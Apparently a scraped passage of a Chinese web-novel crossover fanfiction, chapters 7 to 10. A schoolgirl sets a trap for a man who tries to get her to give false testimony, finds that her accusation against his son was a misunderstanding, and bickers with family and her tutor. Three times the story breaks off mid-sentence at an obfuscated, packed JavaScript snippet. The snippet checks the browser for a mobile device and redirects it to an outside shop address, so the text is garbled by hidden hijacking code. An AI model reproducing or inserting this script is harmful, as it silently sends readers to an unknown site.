因为她是未成年人,还是初犯,大概率会被判缓刑或是管制,但肯定得留下案底,好点的大学都不可能要她,从此和公检法相关工作无缘。 “我……” 嘉叶刚张嘴,就被律师打断,他看起来很是激动,猛地站起身来,急道:“不行!椎名小姐你不可以这么做,这、这么做不合适。” “阿部!你闭嘴!” 喜多川抬手将阿部按下,勾住他的脖子,凑到耳边不知道在说些什么。 阿部的脸色愈发难看,左右为难了片刻,他果断推开喜多川,走到嘉叶身边,语速飞快:“椎名小姐,实在抱歉,社长突然身体不适,我们下次再谈吧。” 这时,一道中气十足的男声惊雷般乍起:“够了!喜多川健次,你涉嫌教唆未成年人作伪证,已经构成诬告陷害罪和妨碍作证罪,现在就跟我们去警局!” 好耶! 嘉叶绷起嘴角扭头看去,一位身材魁梧个子很高的中年男子从她后桌走出来,他左脸上有一道贯穿眼睛的狰狞刀疤。 此人正是搜查一课的警察——松本清长,身后还跟了一位头戴帽子的微胖警察——目暮十三,二人曾经都是姐姐的同事。 见到熟人,嘉叶一不小心没绷住,演砸了,眼底浮现出一丝得逞的窃笑。 而这一幕不巧被喜多川健次捕捉到,瞳孔倏地缩成一个点,他瞬间明白过来,扑上前准备动手打人。 “小贱人!臭婊子!你是个什么东西?!居然敢算计我!” 嘉叶一个闪身躲到目暮警官身后,松本警官捏住喜多川的手腕来了个擒拿术,直接将人牢牢钉在桌子上。 松本清长怒目圆睁,大声呵斥:“混蛋!闭上你的脏嘴!这孩子碰上你这种败类已经够倒霉了,怎么还有脸污蔑她!” “呜呜呜,好过分。”嘉叶往后退了两步,掉下几颗鳄鱼的小珍珠。 一位三十岁上下,留着黑色短发的女警走到嘉叶身边,递出手帕的同时悄声凑到她耳边说:“你装完了吗?” “谢谢您。”嘉叶明显没装完,吸了吸鼻子,怯生生地接过手帕擦眼泪。 喜多川被松本压着走,一边走一边破口大骂,全然将伪君子的形象抛之脑后,各种污言秽语像是脏水一样从他的嘴里流出。 目暮眉头紧皱,脸上堆满鄙夷,他走到阿部身边,“阿部律师,麻烦你配合调查,跟我们回警局一趟。” 阿部神情恍惚地点点头:“是,是。” 见嘉叶哭得梨花带雨,目暮实在不忍心在这种时候把她拉去警局录口供,只得轻声细语地安慰:“小叶别难过了,叔叔改天再去看你,今天就由旁边这位姐姐先送你回去吧,好不好?” 这种时候还是让女性陪同比较合适,嘉叶这孩子也真是……唉,出了那么大的事,都不跟家里的大人说吗? 怎么自己一个人傻乎乎地跑来见犯罪嫌疑人那边的律师。要不是正好被他们碰到,指不定会被人坑成什么样! “嗯。”嘉叶轻哼一声,跟着跟着秋山凉子走出餐厅上了车。 待车子行驶出几十米后,才放声大笑:“哈哈哈哈!你看到他那个样子没有?真是笑死我了哈哈哈哈!” “差不多得了啊,”秋山凉子都没眼看,直直盯着前面的路,提醒道,“笑得也太夸张了,稍微收着点。” “好啦,知道啦。”把座位往后调了调,嘉叶舒舒服服地半躺下来。 她确实设了局,也表现出一些细微的引导行为。 但最终犯下罪行的喜多川健次,这可怪不得她,同样的情境下,律师就做得很好,所以可以全身而退。 等红灯的时候,秋山习惯性地掏出烟盒,抖出一根叼在嘴边,余光不经意地扫到副驾驶的某位未成年,于是抬手把烟塞回盒里。 “没事,你抽吧。” “不用,等你走了我在抽。” “嗯,谢谢。” 秋山凉子和嘉叶的姐姐——椎名真央是从小一起长大的好友,二人考上同一所大学,毕业后一起进入警察学校就读。 只不过后来的职业道路不同,真央进了警视厅,秋山则去了公安部,没过多久就因为能力出众被选拔为卧底,继而被派去国外执行秘密任务,不久前才功成名就地归来。 因此,外人根本不知道她两是朋友,嘉叶就是钻了这个空子。 提前打听到三位警察今晚计划在爱伦坡餐厅吃饭,嘉叶就订了离大门最近的座位,并让秋山订邻座。 三人入座时,只要秋山先一步坐到正对大门的位置就行,目暮和松本两位男士只能并排背对着门坐。 嘉叶进来后,就能避免第一时间和他们打照面,这样才能继续自己的计划。 绿灯亮起,秋山凉子踩下油门,车子缓缓启动,一时间思绪万千。 倘若是刚从警校毕业的那个意气风发、一身正气的她,面对这种近似钓鱼执法的擦边操作,想都不想肯定会拒绝,绝不可能那么配合。 可由于这些年一直在犯罪组织当卧底,不知不觉间,道德底线被拉低了。 在收到嘉叶的求救短信时,她没多犹豫,立马表示可以帮忙。 只不过…… 视线往旁边一瞄,小姑娘偏头望着窗外的街景发呆,不知道在想些什么。 其实这孩子小时候呆呆笨笨的,一看就不聪明,成绩也不太行,如今却有点机灵过头。 只能说物是人非,卧底生涯一晃就是八年。 期间多了一堆叫不出名字的亲戚家的小孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495402|202465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,故乡的父母常年见不到独生女,老了很多,身体状况也大不如前。 过去的友人各奔东西,多年不联系,再见面也不知道该聊什么,完全接不上她们的话题。 最好的朋友结婚生子后意外病逝,留下还未满月的孩子,无论是婚礼还是葬礼她都无法出席。 那会儿嘉叶几岁?十四还是十五?可怜她小小年纪就得承担起类似于母亲的角色,代早逝的姐姐照顾小孩。 明明自己还是个孩子。 “凉子姐,景光哥他们家那个案子有什么进展吗?” 秋山凉子还在缅怀自己“被偷走”的那八年,断掉的时光任凭她再怎么努力,都无法重新连接。 失去了就是失去了,追不回来的。 嘉叶突然开口,让她反应了好几秒才说:“没有,这种陈年老案哪有那么容易破。” “一点新线索都没有吗?” “十多年前的案子了,证据本来就少,一直也没有新的证人,老实说……很难破,只能等一个契机。” “好吧。”嘉叶的声音闷闷的,看起来非常失落。 秋山凉子也不知道该怎么安慰人,只能趁等红灯的间隙,抬手摸了摸她的脑袋。 犯罪组织被捣毁,卧底任务结束后,秋山空降长野县警察本部,直接当上搜查一课的课长,警衔为警视。 这次是因为有个以东京为中心,在周围好几个县流窜作案的犯罪团伙实在太嚣张,县警察本部与警视厅决定联合办案,她临时到这边出差。 至于嘉叶提到的那起案子,是她朋友的堂哥一家发生的惨案,距今大约十四年。 夫妻二人被人用刀子残忍杀害,年仅七岁的小儿子诸伏景光躲在柜子里逃过一劫,但受到极大的刺激,患上失语症和轻度失忆。 当晚的记忆非常模糊,也记不起凶手的样貌,没办法提供关键线索。 大儿子诸伏高明那年正在念初二,案发当晚因为参加夏令营而在外留宿,回到家就发现…… 他如今成为了一名警察,是秋山的下属,虽然喜欢引经据典地阴阳怪气别人,但能力出众,综合一下也就没那么气人了。 * 回到家的嘉叶拖着饥肠辘辘的身体来到厨房,打开烤箱,里面空空如也。 不是吧? 抱着最后一丝希望走到冰箱前,开门仔细找了一圈,都没有看到她的海鲜焗饭。 “甚尔!我的焗饭呢?” 嘉叶大喊着冲到客厅,甚尔正带着儿子看棒球赛,掀起眼皮瞥了她一眼,“你不是说今晚不回来吃饭了嘛,正好碰到阿笠博士,我就喊他来吃了,你的焗饭现在在他肚子里。” ……在阿笠博士的肚子里。 肚子里。 里。 嘉叶难以置信地问:“为什么?为什么你要这样对我?” “不就是一碗焗饭么,”甚尔不以为意地打了个哈欠,“至于吗?你是小狗啊,那么馋。” 今天也太倒霉了! 在学校被迹部气,餐厅的蛋炒饭难吃的要死,刚才被喜多川那傻逼臭骂一通,景光哥家的案子只能倚仗奇迹来破…… 回家之后甚至连口热饭都吃不上!还要被甚尔数落成狗! 嘉叶气得直接不要面子了,冲他嚷嚷道:“我不当人总行了吧!汪汪汪汪汪汪!” 8. 第八章 足以以假乱真的叫声在客厅里肆意回荡,余音绕梁,三日不绝。 嘉叶人傻了,心道:完了完了完了…… 不明白自己究竟是哪根筋搭错,为什么要做出此等迷惑行为,肯定吓到宝宝惠了! 结果…… “哈哈哈哈!”小惠笑得直不起腰来,“小姨好可爱啊!学得真像,和小狗一模一样。” 真是令人悲喜交加,她还是想当人。 嘉叶站在原地尬了两秒,脚下抹油似的溜了。 相比于笑得很开心的儿子,甚尔面露难色,心里直突突,根本笑不出来。 她这是怎么了?白天在学校遇到什么不开心的事了? 不管是多么凶残的咒灵或是诅咒师,甚尔都能用平常心应对,可唯独拿嘉叶的小性子没办法。 从柜子里搜出几块压缩饼干,嘉叶一边啃一边愤怒地写作业。 气归气,但不能耽误正事。 开学第一天作业是不多,但她早上缺了几节课,待会得结合笔记自学一遍,还要写申请书。 这倒不难,上网找个模版依葫芦画瓢,然后根据实际情况改一改就行。 用不着迹部那货大发慈悲地教! 拽个屁啊,真以为自己是婆罗门吗?最烦这种不可一世的纨绔,这倒霉玩意儿在学校里的人气怎么会那么高? 不懂,也不想懂。 管他呢,抓紧时间赶快把作业写完吧,七点约了景光哥补课,上一个小时,她今晚九点还有拳击课,也是一小时。 没那个闲工夫在闲杂人等身上浪费宝贵的阳寿。 嘉叶集中精力,笔尖移动飞速。 等诸伏景光给她打电话时,作业已完成快一半。 “小叶,你家门铃好像坏了,能不能帮我开下门。” “啊?不会吧,你等我一下哦。” 嘉叶小跑着冲向大门,定睛一看——可视门铃果然黑屏,按键也没反应,无法从里面给人开门。 套上鞋,穿过大得离谱的庭院,嘉叶隔着铁门说:“实在不好意思啊景光哥,让你久等了,我让甚尔明天叫人来修。” “没事。”诸伏景光对她露出随和的笑,在嘉叶的带领下走向主屋。 碎石铺就的小径踩上去沙沙作响,道路两旁是修剪的一丝不苟的绿植,一座喷泉横在正中,空气里弥漫着鲜花与青草混合的清香,被精心打理的英式庭院仿佛是电影或电视剧里的布景。 “不管来几次都觉得很壮观呢。”诸伏景光看着不远处的主屋发出感叹。 单层面积大约有一千平,总共两层,由著名建筑师森谷帝二设计,不管是外观还是装修都极尽奢华,是姐姐成年时父亲赠与的生日礼物。 “中看不中用,其实特别不方便,”住在“围城”内的嘉叶只觉得困扰,“每天走来走去累死了,有时候嫌远我都得靠滑板移动。唉,好想搬去小点的房子住。” 诸伏景光:“……” 把人请进书房,嘉叶礼貌询问:“景……不对,诸伏老师,请问您想喝什么?” 诸伏景光愣了愣,被她突然的改口给逗笑了,“还是和以前一样叫我景光哥吧,也不用特地换成敬语,我喝水就行。” “好哒景光哥,你要冰的还是热的?” “常温就行。” 从储物柜拿来两瓶矿泉水,嘉叶坐到书桌前,把自己上学期期末考的国文试卷铺开来。 她总成绩不错,每次大考都能位列年级前十,还是在国文只拿七十多分的情况下,其他科目都接近满分。 大致问题已经在白天通过短信和景光哥聊过了,嘉叶的国文水平一直都是全方位的烂,前几年能及格就谢天谢地。 上任家教相泽老师努力了快两年,好不容易才让她冲上七十分。 古文在她眼里就是一堆乱码,现代文的阅读理解?对不起,理解不了一点。 至于作文方面,一不留神就会跑题,文笔稀碎,写得像在打报告。 她做梦都想拿一次九十多分,这样就能把迹部景吾那个讨厌的家伙从理科年级第一的宝座上给踹下来! 到时候她一定要以其人之道还治其人之身,用那种居高临下的态度指着他说:“有什么不会的尽管开口,本小姐可以大发慈悲地教教你。” 幻想时刻结束,现实过分残酷。 起初,诸伏景光为了不伤到她的自尊心,一直在努力维持表情的平静,但终是没能绷住,一不小心笑了出来。 “噗!” 嘉叶托着腮帮子看他,嘟囔道:“有那么好笑吗?” “不好意思不好意思,”诸伏景光憋住笑意,指着一道阅读理解题问,“就是好奇你当时怎么想的?” 题目:作者为什么要特地对桌上的食物进行详细描写?此处是否存在隐喻。 答:可能就是单纯饿了。 零分。 “那不然呢?作者都死了多少年了,谁知道他当时是怎么想的?”嘉叶忿忿不平地表示,“出题老师想怎么编就怎么编,凭什么老师编的就是对的?我写的就是零分,说不定作者真就是写着写着突然饿了,谁知道呢?You never know!” 作者想表达的和读者接收到的肯定不可能一样,每位读者因为自身经历不同,阅读时的所思所想所感肯定也不同。 所以才有“一千个读者就有一千个哈姆雷特”之说。 愚蠢的阅读题就是把学生对于文学的理解和感受强行统一化,把不同的脑子塞进同一台搅拌机,企图生产出一模一样的商品来。 面对她的强词夺理,诸伏景光面上一怔,显得很是意外,沉默了半晌才徐徐开口:“也许吧,不过小叶找我来当家教是为了拿高分,如果想考到九十分以上,以后就不能随便乱答。” 不愧是高材生,一下子就切到重点,为了对付应试考试,只能按照出题老师的标准答案来写,不可以太任性。 无力反抗教育制度的嘉叶也无力辩驳,乖乖点头:“知道啦,我会认真学习的。” 见犟种学生肯松口,诸伏老师十分欣慰。 “好,那我先简单介绍一下这篇文章的时代背景,那些年四处都在闹饥荒……” 他讲得深入浅出,非常通俗易懂,完全不会掉书袋,而且声音动听,语调温柔,那些原本晦涩难懂的内容都变得容易接受了许多。 嘉叶仔细听着,时不时低头记笔记。 每当她写字的时候,诸伏景光都会停下来,等她写完了再继续讲。 “咚咚咚”清脆的敲门声响起,甚尔端着一盘切好水果走过来。 嘉叶偏眸一扫,只当没看见,随便抓起桌上的一本教科书,心不在焉地乱翻。 放下盘子,甚尔心虚似的用余光瞄她,“那就不打扰你们了。” “谢谢。”诸伏景光对他露出礼貌的微笑。 只见甚尔刚走没几步,蓦地停下脚步回头看了一眼,旋即默默收回目光,一言不发地离开书房。 待他走远,诸伏景光才问:“你们吵架了?” 他向来心思敏感细腻,自然能察觉到二人之间的那点不对劲。 放下拿来当做幌子的书,嘉叶欲言又止了一会儿,最后还是老老实实地交代了来龙去脉。 当然,学狗叫那部分肯定是略掉了,她要脸。 听完这离奇的吵架理由,诸伏景光感到匪夷所思,但还是站在嘉叶的角度试图理解。 “你生气的点是什么?他没有和你打招呼就随意处置你的晚餐?” 嘉叶拧着眉道:“差不多吧,好歹和我说一下啊,但凡吱个声,我也不至于那么火大,讨厌先斩后奏。” 略有所思地点点头,诸伏景光接着问:“那你打算怎么办?就这么一直不理他?” “不至于,我已经不气了。明天起来再说吧,管他呢。” 嘉业伸了个懒腰,觉得反正他两又吵不散,更何况压根就没有吵起来,是她单方面发火。 等明天吃早饭的时候跟他卖个萌撒个娇就行,甚尔不会和她计较太多。 “这样不太好哦。” 诸伏景光认真地注视着她,他平时总是眼含三分笑,给人一种很温柔很好说话的感觉。 这会儿完全敛去笑意,面无表情地盯着她,该说不说……怪吓人的。 嘉叶只觉浑身不自在,收起了懒散的姿态,坐直身子,以同样认真的表情回看过去。 见她态度端正了不少,诸伏景光这才露出往日里那种温和的笑容,语重心长地说: “既然都不气了,那就尽快和好吧。带着坏情绪入睡对身心都不利,大脑无法有效清理代谢废物,会导致第二天醒来后,整个人的状态变得很糟糕。而且原本的小问题经过一夜的发酵,有可能会变严重。” 这个理论嘉叶好像在哪里听过,她本人也深有体会。 “那好吧,下课后我去便利店买点礼物,等回到家就跟他和好。” 其实她也有不对的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495403|202465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方,冲甚尔发脾气明显有迁怒的成分在,方才就是因为心虚外加死要面子才不好意思多看他,只好低头装忙。 然后就错过了甚尔端过来的台阶,还把人家给气跑了。 唉!她果然是根棒槌。 “小叶真是个讲道理的好孩子。” 面对诸伏景光的夸奖,嘉叶更加心虚了,纠结了片刻,她硬着头皮决定“坦白从宽”。 “不单单是晚饭的问题,其实是因为我今天心情不好,遇到太多破事,所以……一个没忍住才冲他发火。” 诸伏景光忙问:“啊?发生了什么?” 嘉叶平时是个报喜不报忧的人,为了不让家人朋友担心,受了再大的委屈她都能憋住。 可每每面对景光哥时,就有点憋不住。 可能是气场问题吧,他身上散发出一种很温暖很祥和的治愈感,跟教堂忏悔室里的神父有异曲同工之妙。 人往那一坐,就忍不住想要诉诸心事。 “社团活动那会儿,学生会长来了……” 嘉叶只是大致说了说,省略了一部分真实内容,比如她设局的事,这牵涉到凉子姐,还是不要讲了,景光哥家的案子没进展的事也没说,免得让人家伤心。 听完之后,诸伏景光沉默良久,顺着时间线一件一件地捋。 “就我个人的感觉,你们学生会长人应该挺好的,只是不会表达而已。” “他哪里好啊?!”嘉叶毫无形象地翻了个大白眼。 不说还好,现在更气了! 他们勉强也能算是有点年龄差的青梅竹马,起码认识十年了,景光哥不站在她这边帮她一起骂人也就算了,居然反过来帮迹部景吾这个外人说话! 诸伏景光露出些许无奈,像安抚小朋友那样,耐心解释:“他自己也有社团活动,网球部那边肯定也很忙,但还是特地跑来你这边问要不要帮忙,说话方式的确不恰当,但至少心是好的。” 老实说,诸伏景光怀疑这学生会长对嘉叶有意思,但毕竟是别人的隐私,外人不方便多嘴。 既然两人同班,是否启用旧道馆等明天再问也不迟,他就是找了个由头过来见她,想教嘉叶写申请书也是为了能跟她单独待一会。 不过由于太不坦率,言不由衷,所以非常遗憾地只起到反作用。 “是吗?”嘉叶挑起眉,起初是半信半疑。 可不知怎么的,突然想起姐姐原先也教过她类似的——判断一个人是好是坏,不要只听他说什么,而是要看他具体做了什么。 行吧,如果忽略迹部气人的态度和措辞,单从行动上来看,他确实挺认真负责。 “好吧,那我就不跟他置气了。” “顶级幼师”诸伏景光趁热打铁地夸了她几句,随后神情变得严肃,斟酌了好半天才慎重发言: “其实喜多川学长我也认识,我知道这么说你肯定会生气,觉得我在故意偏袒,可是根据我对他的了解,学长……不像是会做这种事的人。当然也不排除我识人不清的可能性,如果他真就是单纯出于恶意做了这种事,那他活该,不管受到任何惩罚都不为过。” 经过方才迹部那事,嘉叶逐渐习惯诸伏景光跟她“唱反调”的操作,一气之下气了一下,没有发作。 她认真思考起对方的话来。 每个人都有自己的局限性,和自己意见相反不一定是在找茬,也有可能是站在她的视觉盲区发表意见,所以看法才会不一样。 姑且听一听吧。 嘉叶平静地问道:“意思是你觉得他人很好?” 见她没动怒,诸伏景光蓦地松了口气,用尽量理性客观的角度来描述。 “他在学校非常受欢迎,但本人似乎对谈恋爱完全不感兴趣,面对女生们的告白都会郑重拒绝,也没见他参加过联谊,平时独来独往,没有关系亲近的异性,和同性也保持一定距离,很孤僻的一个人。” 嘉叶明白他的潜台词,喜多川如果真是好色之徒,想乱搞男女关系,以他的条件可以随便瞎搞,没必要冒着吃牢饭的风险对她下手。 “你是因为自己是正人君子才会这么想,”嘉叶正色道,“但有的人吧,脑子不正常,他就喜欢刺激,不喜欢走正规途径。” 富豪或者明星涉及性犯.罪的新闻可不少啊,有些人就是爱犯贱,就是爱挑战道德底线。 对此,诸伏景光没有发表任何看法,而是问道:“那段录像我能看看吗?还是觉得有点违和,想确认一下。” 9. 第九章 诸伏景光这边刚说完,嘉叶的手机就发出阵阵嗡鸣,来电显示——相泽老师。 “不好意思我先接个电话。” 按下接通键,相泽春菜的音量有点大,声音顺着话筒跑出来,就连坐在旁边的诸伏景光都听见了。 “你跟喜多川相处得咋样啊?他课上得还不错吧。” 嘉叶心说:不咋样,昨天刚把他送进去,今天又顺手把他老爹也送了进去,我可能和这家人八字不合。 诸伏景光一边竖起耳朵来听,一边随手拿起桌上的国文书假意翻看。 嘉叶思索片刻,决定不把喜多川事和相泽老师说,人是老师介绍来的,她怕对方知道了后会自责。 能瞒多久瞒多久吧,不过纸终究包不住火,如果相泽老师一直联系不到喜多川也会起疑。 “他太闷了,话超少,我觉得课讲的一般吧,水平不如相泽老师的三分之一。” “诶?这样啊,”相泽春菜显得并不意外,非常自然地帮喜多川找补起来,“他比较慢热啦,但人超好的!不过这应该也是他第一次给人补课,经验不足是真的,你要实在觉得不行就直接和他说,不用顾忌我,别耽误自己的时间。” “人超好?”嘉叶一脸不信地反问。 相泽春菜忙不迭地说:“是啊!说来惭愧,我有一阵子也不知道是发什么颠,居然疯狂节食减肥!每天只靠黄瓜鸡蛋维持生命体征,结果就在学校里面晕倒了。是喜多川把我抱去保健室的,还买了好多巧克力和运动饮料来看我。他只是表面上冷冰冰,其实很热心。” 可能只是单纯想在校友前立人设吧,嘉叶心想。 她向来习惯以最大的恶意揣测犯罪嫌疑人,内心没有丝毫动摇,甚至回想起从前看过的某部连环杀手纪录片。 记者特意去采访了杀人犯的亲朋好友和邻居,大家都表示他平时是一个老好人,特别和蔼可亲,对身边的人都很和善……之类的。 总之几乎都是正面评价,“知人知面不知心”一话的含金量还在上升。 “哇!他人好好哦,真是完全没想到呢。” 嘉叶象征性地敷衍道,随后又问:“你说他应该是第一次给人补课,我昨天就觉得有点奇怪,看穿着打扮,他家境应该很不错啊,为什么要跑来兼职?” 相泽春菜犹豫了几秒,不答反问:“你之前……有没有见过他?” 嘉叶不解道:“没有,怎么这么问?” “因为他说以前见过你,你还救过他。也不对……严格来说,是见过一个和你长得很像的人,不过名字对不上,那人叫‘樱田真叶’。他估计就是为了亲自确认这一点,才答应帮忙补课的。” 相泽春菜说完后又再问了一遍:“你确定没见过?有没有可能是他记错名字了,毕竟你那么漂亮的人可不多见,应该不会认错。” 喜多川看过嘉叶的照片倒是不奇怪,相泽老师最后一次给她补课结束后,二人一起去吃了“散伙饭”,并在社交媒体上发了合照,相泽老师还顺手写了篇小作文。 实际上“樱田真叶”就是椎名嘉叶本人。 只不过幼儿园时父母离婚了,她便随妈妈姓,小学时读了《飘》后特别喜欢女主角斯嘉丽,就拜托妈妈帮她改了名。 这表明喜多川翼说的“以前”,起码是在她念幼儿园大班之前的事。 太久远了吧!怎么可能还记得啦! “可他上课的时候一个字都没提诶,估计是发现自己认错人了,”嘉叶先是矢口否认,随后不动声色地打探,“不过你这么一讲我都好奇起来了,他有和你说过具体情况吗?怎么个救法?” 相泽春菜的语调带着一丝苦恼:“我跟你一样好奇,当时就问了,但他一副讳莫如深的态度,表示‘不方便多说’,我也就不好意思继续追问啦。” “那好吧……” 随便聊了几句后,嘉叶挂断电话,将目光移向诸伏景光。 虽然景光哥想要帮喜多川“翻案”的行为确实气人,但代入他的角度其实也能理解。 如果是嘉叶认识的某位老实人犯了罪,她也会想方设法地去调查,不放过任何一个疑点,尽最大的努力避免冤假错案。 “录像存在我卧室的笔记本电脑里,你在这里等一下哦,我去拿。” 诸伏景光弯起好看的眉眼,对她露出一个略带感激的笑:“谢谢。” 嘉叶白他一眼,嗔道:“要不是因为你课讲得实在太好,我才不愿意卖这个面子嘞!” * 把电脑放在书桌上,嘉叶怀着复杂的心情点开周天下午的视频。 她此前嫌晦气,一点都不想看,只在报警时确认了下开头。但现在和景光哥一起,也就觉得没那么晦气了。 屏幕中显示出喜多川给她讲课的画面,嘉叶没撒谎,这人真就是一个字一个字往外蹦!讲的磕磕巴巴,亏他还是专业第一呢。 ……倒也不能这么说,好学生不一定是好老师,换作嘉叶去给人补课,估计也半斤八两。 “直接快进到事发时间?”嘉叶问,总不可能一帧一帧抠吧,哪有那个闲工夫。 “好。”诸伏景光按住进度条往后拖,然后他指尖一顿,按到暂停,又往前拉了一小段,随后再次按下暂停,把画面放大。 他指着屏幕说:“你看,他从衣兜里拿出手机看了一眼之后,整个人立刻变得紧绷起来。” 屏幕中的喜多川身子微微蜷缩,抱住自己的胳膊,即便只拍到他的背影,看不到表情,但也能明显感觉到他的不安。 诸伏景光点击播放键,把速度调慢。 就见喜多川从抱胳膊改为双手抱头,身体开始颤抖,随后他站起身的同时朝嘉叶那边扑去。 “确实不太对劲,再放慢一点。”嘉叶把播放速度改为最慢,拉回进度条,一帧一帧地反复研究。 最后她不得不接受现实——这是一场不幸的误会。 喜多川并没有故意抱她,而是起身的时候没站稳,一不小心摔到她身上,也许是他受了什么刺激导致神情恍惚,也许是久坐导致的腿麻。 总之,这确实是冤案。 但凡她当时多问一嘴,或者直接去确认录像也行……不对啦! 这次幸好遇到的是假变态,如果遇到真变态,逃跑和反击才是上上策,至于真相如何?那是警官的工作。 她只是做了当下最合理的举动,不管遇到任何情况,自己的生命安全才是最优先! 话虽如此,多少还是有点心虚的,嘉叶挣扎道:“我那是条件反射。” 诸伏景光:“……明白。” 说完他有些疑惑地表示:“你当时都没有注意到他的异常吗?” 嘉叶默默移开视线:“忙着做阅读理解,焦头烂额,根本没发现。” “那接下来打算怎么处理?” 合上电脑,嘉叶叹气道:“能怎么办?总不可能冤枉人家吧,我待会就去警局和警察说明这个发现,米花警署二十四小时都有人值班。” 诸伏景光抬起手腕看了眼表,发现已经过了下课时间,“我陪你一起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495404|202465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 嘉叶连忙婉拒:“啊?不用了,又不是什么大事。” 无视她满脸的不愿意,诸伏景光郑重其事地说:“你还是未成年人,别老把自己当大人,别想着什么事都靠自己解决,还是说……我们这些成年人你眼里就这么不靠谱?根本不值得信赖?” 嘉叶拗不过他,无奈点头:“呃……那一起去吧。” * 诸伏景光是骑自行车来的,这会儿既不能带人也不能骑,只好推着车子走,链条转动发出“嘎达嘎达”的细响。 视线飘向身旁的嘉叶,她秀气的眉头微微蹙着,似乎在努力思考着什么。 “你在想什么?” 嘉叶愣了愣,说:“刚才那个电话是我以前的家教老师打来的,喜多川是她学弟,她刚才讲喜多川说我以前救过他,但我根本想不起来啊!” 全程偷听的诸伏景光明知故问:“很久以前吗?” 嘉叶颔首:“嗯,应该是上小学前吧,不过我小时候脑子不好,记不得也不奇怪。” 虽说幼儿园就改了姓,但有可能那会儿习惯了原本的姓氏,跟人说的时候也下意识地用了“樱田真叶”这个名字。 上小学后大家都叫她“椎名”,所以不可能说错。 “有机会直接问本人不就行了。” 嘉叶:“……” 这个建议提得很好,以后别提了。还有就是……完全没有否认她脑子不好这点也有点伤人啊喂! 景光哥怎么回事?为什么一会聪明,一会不聪明。用脚指头想都知道喜多川翼肯定恨死她了! 先是被人狠狠用椅子砸晕,然后被当成“猥.亵犯”,脑袋冒血躺床上都得被迫接受警方审讯,自己亲爹还让罪魁祸首给送进了局子。 天啊,简直无妄之灾!稍微代入一下已经被气到七窍生烟。 她根本没脸去见他啊!假如对方愿意不计前嫌地见一面,她一定会认真道歉! 诸伏景光也意识到自己方才的话十分荒唐,于是赶紧转移话题:“你说他当时在手机上看到什么了?” 嘉叶接过话茬:“被人威胁了?一般来说不会那么害怕吧。” 思索半晌,诸伏景光又说:“没听说他在学校里和谁结过仇啊。” 线索太少,他对喜多川的了解也不多,很难推理出真相。 抬手接过一片落下的樱花,嘉叶说:“那就是校外的,管他呢,反正和咱两没关系。” “也对。” 表面不在意,不代表心里也全然不感兴趣,老实说嘉叶还是挺好奇的。 可只有负责调查这起案子的警察通过申请,才有权限查看喜多川的手机,内容涉及个人隐私,自然不可能跟外人透露。 其实如果硬着头皮去拜托凉子姐找找关系……不行,打住! 今天已经麻烦过人家一次了,不能再这么厚颜无耻地把别人当工具人整。 * 离开警局后,二人径直去了街对面的便利店,诸伏景光站在冰柜面前挑选明天早餐要用到的食材。 “景光哥,你等下帮我结下账,我应该买不了。” 诸伏景光扭头看去,差点惊得把手里的培根扔地上——嘉叶拿着本性感女星写真集,单是封面就能人面红耳赤的那种!左上角大大地标着“R18”。 她穿着高中制服,店员不一定会卖给她,怪不得要他去结账! 望着这不成器的倒霉学生,诸伏景光目露骇然,难得不淡定:“等会儿!别跟我说你打算送甚尔这个!” 10. 第十章 “对啊,”嘉叶一脸坦荡地表示,“姐姐说过,男人都喜欢这种色色的东西,所以甚尔肯定也喜欢!” 诸伏景光:“……” 他感觉自己的脑仁在隐隐作痛,真央小姐啊……你究竟教了妹妹些什么乱七八糟的东西。 由于实在不好意思盯着写真看,诸伏景光将目光移向嘉叶的脸。 她的表情理所当然中带着一股莫名其妙的正气,仿佛那的不是十八禁刊物,而是参考书之类的正儿八经的书籍。 诸伏景光反复斟酌,艰难开口:“这不合适吧。” “有什么不合适的?”嘉叶只觉疑惑,“甚尔年底就满二十八了,又不是未成年。” 此时此刻,诸伏景光突然明白了为什么嘉叶的阅读理解总是拿不了高分,为什么她的作文容易跑题。 原因再明显不过,这孩子的脑回路过分清奇! “不是年龄的问题,他、他是你姐夫啊,你送不合适。” 为了方便理解,诸伏景光又补了句:“你会送弟弟或者父亲这些东西吗?” 听罢,嘉叶还是一副油盐不进的模样,“我爸就算了,跟他不熟,弟弟肯定能送啊,小纯收到之后应该也会蛮开心的。” 秀才遇到兵,有理说不清。 跟她讲不明白,诸伏景光都产生自我怀疑了,满腹诗书竟毫无用武之地,卡了半天,他决定放弃劝说,重新开启一个话题。 “甚尔平时喜欢做什么?其实可以送和他爱好相关的东西。” “赌马、赌赛艇、打小钢珠……”嘉业掰着手指,如数家珍。 诸伏景光:“……” 这不就是赌狗嘛!听了半天竟没有一个正经爱好,亏他一直以为甚尔是个正经人。 